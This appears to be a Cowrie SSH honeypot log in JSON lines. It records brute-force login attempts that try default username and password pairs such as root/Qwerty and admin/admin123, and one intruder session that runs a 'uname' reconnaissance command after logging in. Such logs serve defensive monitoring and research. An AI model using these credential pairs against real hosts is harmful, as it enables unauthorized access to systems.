{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:22.253193Z","src_ip":"176.65.139.95","session":"e87db037e3bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39022,"dst_ip":"159.203.135.109","dst_port":22,"session":"d50f254a3c74","protocol":"ssh","message":"New connection: 176.65.139.95:39022 (159.203.135.109:22) [session: d50f254a3c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:27.545106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:27.568921Z","src_ip":"176.65.139.95","session":"d50f254a3c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:27.657649Z","src_ip":"176.65.139.95","session":"d50f254a3c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:28.105766Z","src_ip":"176.65.139.95","session":"d50f254a3c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:29.210585Z","src_ip":"176.65.139.95","session":"d50f254a3c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38644,"dst_ip":"159.203.135.109","dst_port":22,"session":"26b1a6dd88b1","protocol":"ssh","message":"New connection: 176.65.139.95:38644 (159.203.135.109:22) [session: 26b1a6dd88b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:34.046989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:34.178864Z","src_ip":"176.65.139.95","session":"26b1a6dd88b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:34.269956Z","src_ip":"176.65.139.95","session":"26b1a6dd88b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:34.717020Z","src_ip":"176.65.139.95","session":"26b1a6dd88b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:35.807322Z","src_ip":"176.65.139.95","session":"26b1a6dd88b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52842,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0d740c624e2","protocol":"ssh","message":"New connection: 176.65.139.95:52842 (159.203.135.109:22) [session: b0d740c624e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:40.548481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:40.605197Z","src_ip":"176.65.139.95","session":"b0d740c624e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:40.641897Z","src_ip":"176.65.139.95","session":"b0d740c624e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:41.196307Z","src_ip":"176.65.139.95","session":"b0d740c624e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:42.313036Z","src_ip":"176.65.139.95","session":"b0d740c624e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"88cbbf37d6c5","protocol":"ssh","message":"New connection: 176.65.139.95:52854 (159.203.135.109:22) [session: 88cbbf37d6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:47.211409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:47.215834Z","src_ip":"176.65.139.95","session":"88cbbf37d6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:47.298234Z","src_ip":"176.65.139.95","session":"88cbbf37d6c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:47.799884Z","src_ip":"176.65.139.95","session":"88cbbf37d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:48.967093Z","src_ip":"176.65.139.95","session":"88cbbf37d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51516,"dst_ip":"159.203.135.109","dst_port":22,"session":"eba18df12cc5","protocol":"ssh","message":"New connection: 176.65.139.95:51516 (159.203.135.109:22) [session: eba18df12cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:53.661828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:53.728286Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:53.951822Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:54.449414Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:54.661564Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:54.665082Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:54.751037Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:37:54.755268Z","src_ip":"176.65.139.95","session":"eba18df12cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36182,"dst_ip":"159.203.135.109","dst_port":22,"session":"5920fe7be666","protocol":"ssh","message":"New connection: 176.65.139.95:36182 (159.203.135.109:22) [session: 5920fe7be666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:00.208111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:00.235202Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:00.291605Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:01.209439Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:01.414126Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:01.417777Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:01.516961Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:01.521902Z","src_ip":"176.65.139.95","session":"5920fe7be666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58548,"dst_ip":"159.203.135.109","dst_port":22,"session":"1df962b41092","protocol":"ssh","message":"New connection: 159.203.92.129:58548 (159.203.135.109:22) [session: 1df962b41092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:04.221985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:04.227176Z","src_ip":"159.203.92.129","session":"1df962b41092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:04.231834Z","src_ip":"159.203.92.129","session":"1df962b41092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HwHiAiUser","password":"HwHiAiUser1234","message":"login attempt [HwHiAiUser/HwHiAiUser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:04.242121Z","src_ip":"159.203.92.129","session":"1df962b41092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:05.250134Z","src_ip":"159.203.92.129","session":"1df962b41092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36184,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f0b9354d54","protocol":"ssh","message":"New connection: 176.65.139.95:36184 (159.203.135.109:22) [session: 95f0b9354d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:06.870229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:06.875875Z","src_ip":"176.65.139.95","session":"95f0b9354d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com